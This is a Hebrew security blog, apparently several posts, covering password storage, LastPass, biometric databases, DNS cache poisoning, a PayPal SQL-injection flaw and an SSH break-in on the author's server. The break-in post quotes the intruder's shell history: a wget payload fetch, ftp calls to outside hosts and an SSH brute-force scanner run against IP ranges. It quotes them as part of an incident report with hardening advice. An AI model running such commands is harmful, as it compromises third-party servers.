היום בבוקר קיבלתי לתיבת הדואר שלי דיסק DVD שמודפס עליו "האנציקלופדיה האינטראקטיבית".
עכשיו, אני בטוח שאנשים רבים מאלו שקיבלו את הדיסק הזה מכניסים אותו למכונת החלונות שלהם בלי חשש, ומפעילים את מה שיש שם.
חיפוש קצת בגוגל מצא את הלינק הזה מ2008, שטוען שמחיר מחשב בודד עם גישת ROOT ירד ל40 סנט.
אם נניח שמחיר DVD הוא כחצי דולר, ונוסיף עוד כ25 סנט עבור ההפצה של הDVD לתיבות דואר – זה עדיין לא משתלם להפיץ טרויאנים ככה.
אבל זה די גבולי.
מה שכן, זה בהחלט אופציה טובה אם רוצים להשתלט על מחשב של אדם ספציפי, או מחשבים של חברה מסויימת.
זכורה לי התקפה שחברת אבטחה ביצעה על אחד הלקוחות שלה כחלק ממבחן חדירות.
החברה פיזרה כונני USB (דיסק על מפתח) נגועים במגרש החניה של החברה, ונתנה לעובדים הסקרנים לעשות את השאר.
האמת היא שאפילו כתבתי על זה פוסט אי שם ב2006: 15 מתוך 20 כוננים הופעלו.
בבדיקה יסודית יותר של הדיסק, אני רואה שכתוב עליו "The jewish videopedia"' מה שמרמז על כך שהוא מכיל סרטוני שטיפת מוח של שועי עולם.
כשחושבים על זה, זה גם סוג של סוס טרויאני, כזה שמשתלט על המוח.
אני די בטוח שעלות מאמין חדש שווה יותר מ40 סנט, ככה שזה כן משתלם.
כשהגדרתי את הדואר באייפד, גיליתי שאפל לא ממש מסתדרים עם החתימה הדיגיטלית המצ'וקמקת שהתקנתי בשרת הדואר – ופצחתי בחיפוש אחר מקור לחתימה זולה.
מצאתי את StartSSL, חברה שמספקת חתימות דיגיטליות במחירים נמוכים במיוחד שמתחילים ב.. חינם.
כן, אפשר לקבל מStartSSL חתימה דיגיטלית לשרת שלכם, בין אם זה שרת דואר, ווב, ג'אבר ועוד – ללא תשלום.
חוץ מזה שמחיר הוא ללא תחרות, האתר שלהם די מקל על כל התהליך, וכולל מידע רב והנחיות שפשוט עובדות.
במהלך התקנת החתימה בשרת הדואר (דבר שלא מתועד אצלם באתר) נתקלתי בקשיים – ולמרבה הפלא קיבלתי תשובות מועילות כשפניתי לתמיכה שלהם (ואני מזכיר – בתור לקוח לא משלם).
כל הדפדפנים העיקריים תומכים בהם, ולא נתקלתי בבעיות מיוחדות בגלישה לאתר שמוצפן עם החתימה שלהם, או בשימוש בדואר IMAP וSMTP שמוצפן עם החתימה (כולל כאמור ממכשירים ניידים של אפל – אייפון ואייפד).
את הכסף הם עושים מחתימות מאומתות ברמה זו או אחרת, החל באימות זהות אישי ב$50, וכלה בחתימה מסוג Extended validation – אלו שנותנות את הריבוע הירוק הענק בדפדפן – שנמצאת כרגע במבצע ועולה $150 לשנתיים (בווריסיין חתימה כזו עולה כ2695$).
עכשיו – 50$ לאימות זהות זה מעט מאוד יחסית לשאר התעשיה, ומפתה לחשוב שהם לא בודקים כמו שצריך.
אתמול התחלתי תהליך אימות זהות כזה – כשהמטרה היא להשיג חתימה דיגיטלית מלאה לface.com, והרושם שלי בינתיים הוא שהם בודקים מאוד ברצינות ולא מחפפים.
ואנקדוטה קטנה: בזמן החלפת האימיילים עם נציגי החברה, סיפרתי להם שאין עלי את תעודת הזהות כי היא גדולה מדי ורוב הישראלים לא מסתובבים איתה. בתגובה נאמר לי בחיוך שהם חברה ישראלית שממוקמת באילת ושעל פי חוק אני אמור להסתובב עם הת"ז :).
אני ממליץ בחום לנסות אותם למי שרוצה לארגן SSL בשרת ולא בא לו לשלשל לארנק של ווריסיין סכומים מופרכים.
חיפוש קצר בגוגל הוביל לזה: באג במיילמן מ2006 (!) שלאחרונה זכה לקצת התייחסות, הכרה מצד מפתחי מיילמן שזו בעיה שתתוקן בגרסא הבאה.
לא ממש מוסיף כבוד להילת האבטחה המוגברת של מוצרי קוד פתוח, באג טיוויאלי וחשוב כזה זוכה להתעלמות במשך ארבע שנים.
הבאג הוא כל כך ישן שגם שכבר תצא הגרסא הבאה רוב המשתמשים לא יטרחו לשדרג כי הם אפילו לא יזכרו שהם התקינו את מיילמן.
בכל מקרה, המשמעות של זה היא שהסיסמאות שנתתם לרשימות התפוצה בסכנת חשיפה גבוהה. הדבר הזה מדגיש את החשיבות של פתרון כמו LastPass או KeePass שיאפשרו שימוש בסיסמאות אקראיות לכל שרות.
נפתח בווידוי:
היסטורית, נטיתי ואני עדיין נוטה לזלזל בכל החוקים שמעמיסים על משתמשים כדי להקשיח את הסיסמא שלהם.
כשאני נתקל בהוראות בחירת סיסמא כמו : "בחר סיסמא עם שמונה תווים, עם לפחות מספר אחד, אות גדולה אחת לפחות וסימן מיוחד אחד לפחות, ולא כזו שהשתמשת בה בשנה האחרונה" אני חש שינאה עזה כלפי האתר שמכריח אותי לבחור סיסמא שאני לא יכול לזכור.
כן, גם אני משתמש באותה סיסמא (עד כדי שינויים קטנים כדי לענות על דרישות מעצבנות) ברוב האתרים.
למעשה מדי שנה שנתיים אני מחליף את הסיסמא הראשית שלי, ואז כשאני בא להכנס לאתר אני מנסה להעריך כמה זמן אני מכיר אותו ואיזו מהסיסמאות הקבועות שלי עשויה להתאים. בדרך כלל אני מצליח לנחש בסופו של דבר.
אומנם לאתרים הבאמת חשובים, בנקים, פייפאל וכו' יש לי סיסמאות יחודיות (וכמובן גם לחשבון הדואר שלי, ואגב גם שרתים – אני לא משתמש בסיסמא הקבועה שנתפסת אצלי כקלה מדי עבור שרתים).
אני לא לבד, ולדעתי רוב רובם של המשתמשים נוהגים כמוני – כלומר משתמשים בסיסמא אחת עבור רוב האתרים, ואולי אפילו עבור חשבון האימייל שלהם.
בגלל זה הנזק הפוטנציאלי שיכול לגרום האקר תורכי משועמם ונחוש למשתמש ישראלי תמים וממוצע יכול להיות די גדול, למשל:
התחזות : בפייסבוק, בבלוגים או באתרים אחרים. אם הסיסמא הקבועה שלכם היא גם הסיסמא של האימייל – אכלתם פלפל (במילים אחרות, גם אם אתם לא עושים כלום בעקבות הפוסט הזה – לפחות את זה תתקנו, בפקודה!). פריצה לאימייל היא מסוכנת לא רק בגלל הסכנה לחדירה לפרטיות ולהתחזות – אלא גם כי היא מאפשרת שחזור סיסמא במרבית האתרים שאתם רשומים אליהם.
גניבת כסף דרך חשבון בנק (לא מאוד סביר, כי רוב הבנקים לא יאפשרו שימוש בסיסמא קלה שלא משתנה תדיר, ובנוסף הם נאצים בכל הנוגע לשחזור סיסמא).
גניבת שרותים דרך אתרים שמחזיקים בפרטי כרטיס האשראי שלכם : זה כבר די סביר, מי שמגלה את הסיסמא שלכם ל10BIS יכול להזמין פיצות בלי להזין מחדש את פרטי כרטיס האשראי. למעשה אם האתר עלוב במיוחד הוא גם יכול להשיג את מספר כרטיס האשראי דרך ממשק המשתמש ומשם הדרך אל האושר מובטחת.
בעבר כבר נכוותי קלות מסיסמאות קלות מדי כשאיזה בוט ניחש סיסמא של משתמש חדש בשרת (לפני שהוא הספיק לעשות להכנס בפעם הראשונה ולשנות אותה), וכמובן שהפקתי לקחים ושיניתי כמה הרגלים (פרטים בפוסט המלונקק).
שלשום ארז וולף פרסם בבלוגו We CMS שהוא מצא רשימת סיסמאות של ישראלים מסתובבת באיזה פורום טורקי, ושהרשימה נלקחה מאתר ישראלי גדול בעל אבטחה מפוקפקת ששמר את הסיסמאות שלו כטקסט צח (או בלעז – Clear text).
פונקציות גיבוב לערבול סיסמאות
מתכנתים עם אחריות מינימלית לעולם ירגישו אי נוחות עזה כשהם מתכננים מערכת שבה סיסמאות המשתמש נשמרות כטקסט צח. הפרקטיקה המקובלת היא להעביר את הסיסמא דרך פונקציית גיבוב חד כיוונית (MD5 או SHA למשל), שמבטיחה שיהיה קשה עד בלתי אפשרי לנחש את הסיסמא על בסיס התוצאה של הפונקציה.
למעשה, מכיוון שהפונקציות האלו מסוגלות להעביר נתונים באורך כלשהו לתוצאה באורך קבוע, עקרון שובך היונים מבטיח לנו שיש אין סוף קלטים שיובילו לפלט מסויים (כי יש אין סוף פלטים ומספר סופי אם כי עצום של פלטים אפשריים).
המשמעות של זה היא שגם אם האקר שם את ידו על רשימת גיבובים כזו, ומצליח למצוא סיסמא כלשהי שהגיבוב שלה מתאים לשורה בטבלא, הוא עדיין לא יודע מה הסיסמא האמיתית של המשתמש.
האקרים משתמשים בטבלאות עצומות הנקראות טבלאות קשת בענן (נשבע לכם) ששומרות את הגיבובים של סיסמאות נפוצות עבור פונקציה מסויימת, למשל MD5. (אי אפשר לשמור את כל האפשרויות כי יש 2 בחזקת 128 כאלו, ואין מספיק כוננים קשיחים בעולם בשביל לשמור את זה). בכל אופן, המחמירים מוסיפים "מלח" לתבשיל לפני שהם מבשלים אותו, כלומר במקום להכניס את הסיסמא ישירות לMD5 הם מוסיפים לה איזשהו קבוע סודי, מה שגורם לMD5 להוציא פלט אחר (בכך למעשה הם ממציאים גרסא פרטים של MD5).
מי שקצת מעורה באבטחת מידע בוודאי נע באי נוחות למראה המילה "סודי" במשפט הקודם, העניין הוא שהאקר ששם ידו על רשימת הסיסמאות המגובבות שהיא בהחלט סודית עלול לשים את ידו גם על המלח הסודי באותה הזדמנות. לכן אני אישית רואה במלח פתרון וודו שלא באמת עוזר למשהו.
בכל מקרה, אתרים רבים נכתבו על ידי ילדים קטנים, אנשים בוגרים אך מוגבלים נפשית או מפתחים חסרי אחריות והם שומרים את הסיסמא שלהם כטקסט נקי, מה שאומר שבהגדרה מי שמצליח לפרוץ אליהם יכול לשים את ידו על סיסמאות קבועות רבות בלי להתאמץ כלל.
למעשה, לטעון שאתר מסויים הוא מאובטח זו חתיכת טענה, כמעט לכל אתר יש חולשות אבטחה ולכן חשוב מאוד מאוד לא לשמור סיסמאות בצורה לא אחראית שכזו כי הסיכוי שהאתר יפרץ בשלב זה או אחר הוא כמעט 100%, וחשוב להקטין מראש את הנזק הפונציאלי האפשרי למקרה הזה – לכשיגיע.
אחת הדרכים הקלות ביותר לזהות אתרים כאלו היא כדלקמן:
בקשו מהאתר החשוד לשחזר את הסיסמא, אם הוא שולח לכם את הסיסמא הישנה שלכם באימייל : מזל טוב, מצאתם אתר שנכתב על ידי דגנרטים חסרי אחריות!
הדרך היחידה שבה הוא יכול לעשות את זה היא אם הוא שומר את הסיסמא כטקסט צח.
מה שרוב האתרים יעשו יהיה לשלוח לכם לינק שיאפשר להם לשנות סיסמא באתר, הבדל קטן אך חשוב.
אגב, היום בבוקר גיליתי ש10BIS שומר את הסיסמאות כטקסט נקי, בצ'אט עם נציג שרות נאמר לי ש"האתר מאובטח על ידי קוד אמריקאי".
כמעט השפרצתי קולה מהנחיריים על המסך כשקראתי את זה, והבהרתי בעדינות לנציג החביב אך חסר המושג שכדאי לפתור את זה בכל זאת.
לעניינינו
היום בבוקר פורסם בYNet שהאתר המסויים הוא לא אחר מאשר Homeless; עבר זמן רב מאוד מאז שהשתמשתי בו לאחרונה ולא זכרתי את הסיסמא.
בפרוצדורה הרגילה של אתרים שאני לא זוכר את הסיסמא שלהם, בדקתי את הסיסמא הקבועה הנוכחית ולמרבה אי הנוחות, הצלחתי להכנס.
מה שאומר שלפחות בתאוריה, הסיסמא הקבועה שלי מסתובבת אצל לועסי הרחת-לקום.
אין ספק שזו סיבה להחליף את הסיסמא הקבועה, אבל במה?
אפשר להגריל סיסמא קבועה חדשה, אבל הגיע הזמן לשנות הרגלים – ולו כי אתרים רבים כתובים בחוסר אחריות מוחלט.
הפתרון
מנהל סיסמאות טוב, שיאפשר לכם לעבוד עם סיסמא שונה לכל אתר, וידרוש מכם לזכור סיסמא אחת בלבד.
זכרתי שחייב להיות אחד טוב כזה, וזכרתי גם שסטיב גיבסון המליץ על משהו בSecurity Now. בבדיקה מסתבר שבדיוק היה פרק על האבטחה של פתרון בשם LastPass. למעשה עדיין לא שמעתי את האפיזודה הרלוונטית (אני אגיע לזה כשאני אסיים לשמוע את הספר הנוכחי – Under the dome של סטיבן קינג) – אבל ההערות של הפרק שכנעו אותי לנסות.
LastPass
לאסט-פאס מגיע עם פלאגינים לכל הדפדפנים הרלוונטיים, ומאפשר להם לסנכרן את הסיסמאות בין מחשבים שונים ודפדפנים שונים על אותו מחשב.
הסיסמאות מוצפנות על המחשב שלכם עם סיסמאת המאסטר שבחרתם, והמפתח הפרטי שלכם לעולם לא נשלח לשרת.
כמובן – בסיס הנתונים שמכיל את הסיסמאות המוצפנות נשלח לשרת ומשמש כגיבוי וכאן מאפשר עבודה נוחה עם כמה מחשבים.
התחלתי להשתמש בו היום בבוקר, וסך הכל החוויה נעימה ודי אינטואיטיבית.
רשימת הפיצ'רים מרשימה למדי, וכוללת יבוא אטומטי של הסיסמאות הקיימות מהדפדפן שלכם, יצירת סיסמאות חזקות (עדיין תצטרכו לעבור אתר אתר ולשנות סיסמא), שמירת כרטיסי אשראי מאובטחת, תמיכה ביוביקי (אני בהחלט צריך לבדוק את זה) ועוד.
החיסרון היחיד הוא שהיא לא משוחררת ברשיון קוד פתוח, אבל לדעתי זה חיסרון קטן שמתגמד לעומת הערך הגדול שהתוכנה הזו מספקת.
ניסיתי את לאסט-פאס בפיירפוקס כל היום ובכרום במשך זמן קצר ונראה שהיא עובדת היטב.
אני ממליץ בחום לנסות את LastPass (בחינם, יש שרות פרמיום ב12$ לשנה שמוסיף תמיכה בטלפונים חכמים ועוד כל מני דברים חביבים אך לא הכרחיים לרוב האנשים). גם אם החברה נעלמת – יש אפשרות ליצא את הסיסמאות שלכם לקובץ CSV (או ישירות לתוך מנהל הסיסמאות של פיירפוקס).
הרבה מילים נכתבו ויכתבו על ענת קם שהדליפה מסמכים מלשכת הרמטכל אלוף פקוד מרכז.
אני רוצה לכתוב קצת על ההיבט האבטחתי של הפרשה.
אני אהיה בוטה ואומר שלדעתי ברגע שסומכים על מישהו שיעבוד בסביבה בה יש מידע רגיש, אין אפשרות למנוע ממנו ב100% להדליף החוצה.
יש אין סוף דרכים שאדם עם גישה למידע יכול להדליף אותו, ונסיון ליצור סביבה הרמטית שממנה לא יכול לדלוף מידע הוא נסיון עקר שנועד להכשל.
אז מה כן אפשר לעשות?
סיווג בטחוני של העובדים במתקנים רגישים, ובדיקות ביטחון שוטפות כחלק מהשגרה.
מידור גם הוא חשוב מאוד כדי למנוע מאנשים גישה מיותרת למידע רגיש, כי כאמור ברגע שהם נחשפו למידע הרגיש הם יכולים להדליף אותו.
השאלה היא האם ענת קם היתה צריכה גישה למידע, והתשובה היא שזה לא ברור.
לכאורה אין ספק שפקידה לא צריכה גישה לכל המידע, אבל יתכן מאוד שהיא עצמה הקלידה חלקים ממנו או שהיא שלחה אותו לכל מני גורמים בהוראת אלוף הפיקוד, ואז בהגדרה היא צריכה גישה כלשהי.
אפשר לטעון מהיום ועד מחרתיים שהיא היתה צריכה להיות ממודרת, שהמסמכים היו צריכים להיות מוצפנים וכו' וכו', ואולי אפילו זה המצב לגבי רוב החומר הרגיש, אבל יש מקרים לגיטימיים שבהם פקידה בלשכת האלוף תחשף לחומרים רגישים.
ואם לא היא, אז מישהו אחר.
ומה אם אלוף הפיקוד בעצמו ידליף מידע?
"מה, אתה טיפש? ברור שהוא לא ידליף", אני שומע אותכם אומרים.
ואתם צודקים, אנחנו סומכים עליו שהוא לא ידליף, וזה העניין.
אלוף הפיקוד סומך על הפקידות שלו, אחרת הוא לא יכול היה לעבוד.
ענת קם הפרה את האמון שניתן בה, התקלה היא שהיא הגיעה למקום שהיא הגיעה אליו ולא שהיא הצליחה להדליף מידע משם.
יש שתי בעיות עם טביעות אצבעות, false negative וfalse positive.
false negative (שלילי שגוי) : כאשר בהנתן דוגמא של טביעת אצבע, אנחנו לא מוצאים התאמה במאגר למרות שהמאגר מכיל התאמה.
false positive (חיובי שגוי) : כאשר בהינתן דוגמא של טביעת אצבע, אנחנו מתאימים אותה לטביעת אצבע לא מתאימה במאגר.
אם ניקח שתי טביעות אצבע של אותה אצבע, אחת אחרי השניה – הן לא תהינה זהות, זווית הלחיצה תהיה שונה, עוצמת הלחיצה, שטח הלחיצה וכו.
כדי לזהות טביעת אצבע, לא מחפשים התאמה מושלמת, כי אז אפילו שתי טביעות עוקבות לא יתאימו.
אז מה כן?
מחפשים ממצאים מסויימים, בשתי טביעות האצבע, ומתאימים אותם.
מכיוון שלא כל הממצאים יופיעו בכל טביעה (טביעה חלקית, זווית לחיצה וכו') וגם אם יופיעו כולם, הם לא יהיו במרחקים שווים אחד מהשני, משתמשים בהתאמה מקורבת, בגבולות threshold מסויים.
התאוריה הרווחת היא שאין שני אנשים עם טביעות אצבע זהות (למרות שאף אחד לא באמת בדק את כל אוכלוסית העולם). גם אם אנחנו מקבלים את התאוריה, היא עדיין לא אומרת שאלגוריתם הבדיקה לא יכריז על שתי טביעות ממקורות שונים כזהות כי הן דומות מספיק.|
יש תיעוד של כמה מקרים של זיהוי חיובי שגוי, שהצליחו לקלקל לכמה אזרחים תמימים את הבוקר, או את השבוע, או את העשור. (וניתן להניח שיש גם כמה טעויות שלא התגלו ודפקו לאנשים את החיים).
אז שגיאות קורות, אבל אולי הן נדירות מאוד?
נניח לשם השעשוע שבהינתן שתי טביעת אצבע מאנשים שונים, הסבירות ששתיהן יזוהו כשיכות לאותו אדם היא אחד למליון, נשמע טוב?
עכשיו, נניח שבונים מאגר ביומטרי של כל אזרחי המדינה (קצת יותר משבע מליון איש נכון לסוף 2008):
עם סבירות של אחד למליון, בהינתן טביעת אצבע, יהיו לה בממוצע שבע התאמות חיוביות שגויות במאגר.
אם המאגר מכיל רק טביעות אצבע של פושעים מוכרים, אז הבעיה הזו הרבה פחות משמעותית, כי רוב האזרחים הם לא פושעים ולכן המאגר קטן בהרבה (אני מנחש שגודלו הוא כמה עשרות אלפים).
פרופסור עדי שמיר, קריפטוגרף חתן פרס נובל זוכה פרס טורינג ואחד משלושת המפתחים של אלגוריתם ההצפנה RSA, הציע לנוון את הקשר בין הזהות שלכם לבין טביעת האצבע שלכם ששמורה במאגר על ידי יצירת התאמה של אחד לK בין הזהות לבין טביעות האצבע.
הצורה הפשוטה ביותר לנוון את הקשר, הוא לחלק בצורה אקראית לחלוטין את כל אזרחי המדינה לקבוצות קטנות יחסית (לצורך הדיון, נניח שגודל כל קבוצה הוא כ-100, אם כי ניתן לבחור במספרים אחרים).
גם אוסף כל טביעות האצבע יחולק לקבוצות תואמות באותו גודל. המאגר הביומטרי יכיל אך ורק את "הקשר הסודי" (שכדי להשיגו יהיה צורך להשתמש במפתחות הצפנה), בין כל קבוצת זהויות בחלק הראשון של מאגר המידע, לכל קבוצת טביעות אצבע בחלק השני של מאגר המידע.
אין ספק שזה שיפור על פני המצב המוצע כיום, אבל האם הוא אכן עונה על הדרישות?
איך נמנע זיוף זהות?
אחת המטרות המרכזיות של הקמת המאגר היא למנוע זיוף של תעודות זהות – כלומר הנפקה של שתי תעודות שונות על אותו מספר זהות וגניבת זהותו של אדם.
במשרד הפנים קוראים לזאת "הרכשה כפולה". פרופ' שמיר מתייחס גם לעניין הזה, ומדגים במכתבו איך הצעתו תמנע את הזיוף:
"אם אני ניגש בפעם הראשונה למשרד הפנים, מזדהה כראובן, מקבל תעודת זהות רשמית, וטביעת האצבעות שלי נרשמת באיכות גבוהה במאגר, אך לא בהכרח כטביעת האצבע של ראובן.
נניח שלאחר מכן, אני ניגש פעם נוספת למשרד הפנים, ומבקש לקבל תעודת זהות כשמעון (אני טוען למשל, שעדיין לא קיבלתי תעודת זהות ביומטרית, או מפני שאני טוען שקיבלתי כזו בעבר אך היא אבדה או נגנבה).
בדיקת טביעת האצבעות שלי במאגר הביומטרי, תגלה ברמת וודאות גבוהה שכבר הונפקה לי תעודת זהות בעבר, אך עקב הגנת הפרטיות שאני מציע להוסיף, תצביע רק על כמאה זהויות אקראיות אפשריות שקשורות לאותה טביעת אצבע.
האם זה מספיק?
אם אנחנו מקבלים את הנחת האחד למליון שלי, אז מה שיקרה ברגע שאדם יבוא להפיק תעודת זהות זה הדבר הבא:
הפקיד יבדוק את טביעת האצבע שלו, וגלה שהיא מופיע בכשבע קבוצות שונות, מה שאומר שאולי אותו אדם כבר הפיק תעודת זהות בעבר.
אחרי בדיקה של כ700 איש, הפקיד יכריז שהכל בסדר, ויפיק את תעודת הזהות.
בבן אדם העשירי שבא להפיק תעודת זהות, הפקיד כבר יגיע למסקנה שזה הכל בולשיט, ותמיד המערכת מתלוננת ומבזבזבת לו חצי יום של בדיקות, ופשוט ידלג על הבדיקה.
מאותו רגע כל מי שרוצה להפיק תעודת זהות נוספת יוכל לעשות את זה בלי בעיה.
ועל זה נאמר:
זאב! זאב!
אז, לא – לדעתי זה לא מספיק.
אני חושב ששטרית חופר לנו בור עמוק מאוד עם המאגר הזה, והבור הזה מלא בזאבים.
לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.
ככה בדיוק התחיל היום שלי אתמול.
נכנסתי לשרת, חצי נבוך וחצי לא מאמין – וראיתי שאחד המשתמשים מחובר.
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, הוא לא האקר מי יודע) , וזה אכן נראה חשוד.
הנה חלק ממה שעשה התכשיט:
[code]
wget **.***.com/botflod.jpg
tar zxvf botflod.jpg
cd …
ls -a
rm -rf *.seen
ls -a
vi mech.set
vi 1
./httpd
ps x
kill -9 21036
w
cat vuln.txt
cat /proc/cpuinfo
cd ..
ls -a
ftp -v alexhk.ueuo.com
ftp -v alexhk.ro
tar zxvf ssh.tgz
cd ssh
./a 199.3
./a 82.211
./a 222.126
./a 89.171
./a 71.249
./a 218.80
./a 218.106
./a 194.116
[/code]
שיניתי את הסיסמא של המשתמש, והרגתי את כל התהליכים שרצו תחת שם המשתמש שלו (מה שכמובן ניתק את המשתמש)
[code]
killall -u username
[/code]
מכיוון שאני די פרנואידי (אבל מסתבר שלא מספיק) בכל מה שקשור לאבטחה, תכננתי את השרת ככה שמשתמש רגיל לא יכול לעשות שום דבר חוץ מלדפוק את עצמו, ולכן הייתי יותר רגוע כשהבנתי שהוא לא השיג גישת ROOT.
אז איך הוא נכנס?
פשוט מאוד – סיסמא קלה.
שם המשתמש שייך למשתמש חדש שבחרתי לו סיסמא קלה והגדרתי שהוא חייב לשנות אותה בכניסה הראשונה.
המשתמש האמיתי עדיין לא נכנס, ולכן הסיסמא הקלה נשארה.
מה שהפורץ עשה אחרי שהוא ניחש את הסיסמא זה להפעיל סורק SSH שהתחבר לכתובות IP באופן שיטתי (אפשר לראות שהוא ניסה תחומי כתובות שלמים) ופשוט ניחש סיסמאות לפי קובץ סיסמאות מוכן.
מספיק שהוא יצליח להיכנס בשבריר אחוז מהנסיונות כדי להרחיב את רשימת השרתים שיש לו אליהם גישה.
בטח על חלק מהשרתים הוא גם מצליח להשיג גישת ROOT באותה שיטה.
אז מה עושים כדי להימנע מזה בעתיד?
קודם כל, לא בוחרים סיסמאות קלות, אפילו לא לזמן קצר (שעלול להמתח לזמן ארוך בלי שתדעו).
בשביל זה יש כלים פשוטים שמייצרים סיסמאות מאובטחות.
הבעיה עם סיסמאות מאובטחות היא שבדרך כלל קשה מאוד לזכור אותן.
יש כמה כלים שיודעים לייצר סיסמאות שגם קל לזכור, למשל gpw (Generate password) שנמצא בחבילת דביאן עם שם תואם.
gpw מייצר סיסמאות שניתן להגות, מה שעוזר לזכור אותן, למשל:
[code]
$gpw
outskyst
omaticts
liestogg
erlishit
duckslyt
ityingli
fackersa
sappityr
rachecke
lithhoss
[/code]
אז בתור התחלה, אפשר להשתמש בgpw כדי לבחור סיסמאות למשתמשים חדשים.
צעד מתבקש נוסף הוא לדרוש מורכבות מינימלית מסיסמאות של משתמשים, בשביל זה אפשר להשתמש בPAM ובCracklib.
כמו תמיד עם דביאן, זה יותר פשוט ממה שזה נשמע:
[code]
apt-get install libpam-cracklib
[/code]
ואז עריכת הקובץ /etc/pam.d/common-password והוספת הערה לפני השורה הראשונה, והסרת ההערות מהשתיים האחרות:
[code]
#password required pam_unix.so nullok obscure min=4 max=8 md5
אפשר גם לדרוש החלפה של הסיסמא לכל היותר תוך מספר ימים מסויים על ידי עריכה של /etc/login.defs ושינוי הערך של PASS_MAX_DAYS
בדיקה נוספת שאפשר לבצע היא בדיקה שיטתית של הסיסמאות במערכת שלכם הן חזקות או לא על ידי הפעלת תוכנה שמנסה לפרוץ אותן באופן קבוע.
תוכנה כזו היא john המרטש שמנסה לפרוץ את הסיסמאות המקומיות ממש כאילו היא האקר עויין, רק שאם היא מצליחה היא תדווח לכם ואם תרצו גם למשתמש הספציפי שהסיסמא שלו חלשה.
מכיוון שהוא רצה כROOT היא יכולה לבצע את נסיון הפריצה ישירות על הקובץ, מה שיהיה יעיל יותר מאשר לנסות להיכנס דרך SSH.
בהתקנת ברירת המחדל בדביאן ג'והן המרטש מתקין ג'וב קרון שרץ בלילה בין 1 בלילה ל7 בבוקר (זמן שרת), אבל צריך לאפשר אותו על ידי הסרה של ההערות מהשורות הבאות בקובץ /etc/cron.d/john (פשוט מחיקת ה# המקדימים)
[code]
#00 1 * * * root [ -x /usr/share/john/cronjob ] && nice /usr/share/john/cronjob start
#00 7 * * * root [ -x /usr/share/john/cronjob ] && /usr/share/john/cronjob stop
[/code]
כלי נוסף שאפשר להתקין הוא tripwire שעוקב אחרי שינויים בלתי קרואים לקבצי מערכת.
הזמן הנכון להתקין את tripwire הוא לפני שהמערכת שלכם נפרצה (ואני מדבר על פורץ שהשיג גישת ROOT).
אחרי ההתקנה עם apt-get עקבו אחרי ההוראות הפשוטות פה כדי ליצור את בסיס הנתונים שמולו tripwire יזהה שינויים בעתיד.
מומלץ מאוד לאכסן את בסיס הנתונים של tripwire במקום ללא גישת כתיבה כדי למנוע מתוקף עם גישת ROOT לשנות את בסיס הנתונים ובכך להסתיר את השינויים שהוא עשה.
אני בטוח שיש עוד הרבה דברים פשוטים שאפשר לעשות, מה אתם עושים?
דן קמינסקי – האקר, גילה חור אבטחה ברוב המימושים של שרתי הDNS היום שמאפשר התקפת הרעלת מטמון (Cache poisoning).
דן פנה במקביל למפתחות הDNSים הראשיות במטרה לארגן שחרור טלאי משותף במקביל, במטרה למזער את חלון ההזדמנות מרגע שהטלאי שוחרר לראשונה עד שהוא יהיה זמין לכל המימושים של שרתי הDNS.
אחרי חצי שנה של עבודה סודית הטלאי שוחרר אבל קמינסקי ביקש מקהילת ההאקרים לא לנסות לנחש מה החולשה, כי השוק צריך חודש כדי לבדוק ולהתקין את הטלאי.
החודש הזה נגמר באופן נוח בדיוק בתתאריך של כנס הכובעים השחורים, בו קמינסקי תכנן לספר לכולם על החולשה שהוא גילה, ולקטוף את הקרדיט (שמגיע לו).
ההתנהלות הזו עיצבנה לא מעט האקרים, כמה מהם הצליחו להבין את החולשה ושחררו קוד שמנצל אותה, מה שמעלה מאוד את הדחיפות של ההטלאה.
בדרך כלל אני נוטה לחשוב שבנקים ואתרים שהתעסקות עם כסף של אחרים היא הביזנס המרכזי שלהם לוקחים את האבטחה ברצינות.
על ההנחה הזו אני מבסס הרבה דברים, כמו למשל ההנחה שלי שקניה באינטרנט היא יותר בטוחה מקניה בטלפון, וזה שאיפשרתי העברת כספים מחשבון הבנק שלי בהוראה דרך האינטרנט.
באופן טבעי תפסתי גם את Paypal כאתר שלוקח אבטחה ברצינות.
החלטתי לצ'פר משתמשי פיירסטטס שתורמים ולתת כמה פיצ'רים למי שתורם בלבד.
מכיוון שאני מקבל את התרומות דרך Paypal חשבתי שזה יהיה נחמד לדאוג לאיזה תהליך אוטומטי שישלח לתורמים אימייל עם לינק להורדה של הפיצ'רים הנוספים.
פניתי לאתר של Paypal, שתומך במשהו שנקרא IPN : Instant payment notification.
בקצרה, האתר של Paypal קורא לURL שאתם מספקים לו ומעביר לו פרטים על הטרנזקציה (מי זה, כמה הוא נתן, וכו').
האתר שלכם מאמת את הפרטים מול Paypal, ומכניס אותם לבסיס הנתונים ועושה מה שאתם רוצים.
די פשוט, אבל חבל בזבוז אנרגיה שכל מי שרוצה להתממשק מול Paypal יצטרך לכתוב את זה מחדש, ולכן Paypal בחוכמתם מספקים Script generator שמייצר קוד שעושה את העבודה במספר שפות.
שמח וטוב לבב, לקחתי את סקריפט הPHP שהוא ייצר לי, והתחלתי לשחק איתו.
לא עבר יותר מדי זמן, ופתאום הבנתי שחוץ מזה שהקוד מכוער במיוחד הוא גם פרוץ לחלוטין ופגיע להתקפת SQL Injection.
SQL Injection היא התקפה שמאפשרת שינוי וקריאה של בסיס הנתונים בצורה שהמפתח לא תכנן, עוד פרטים בוויקיפדיה.
מה שזה אומר זה שכל מי שהשתמש בקוד לדוגמא שלהם בלי לשים לב לבעיה (אני מניח ש99% מהמשתמשים) יצר לעצמו בעיית אבטחה בשרת, בדיוק בנקודה הקריטית שנוגעת לכסף.
כתבתי להם הודעה בפורום המפתחים שלהם, נקווה שהם יקחו אותה ברצינות.
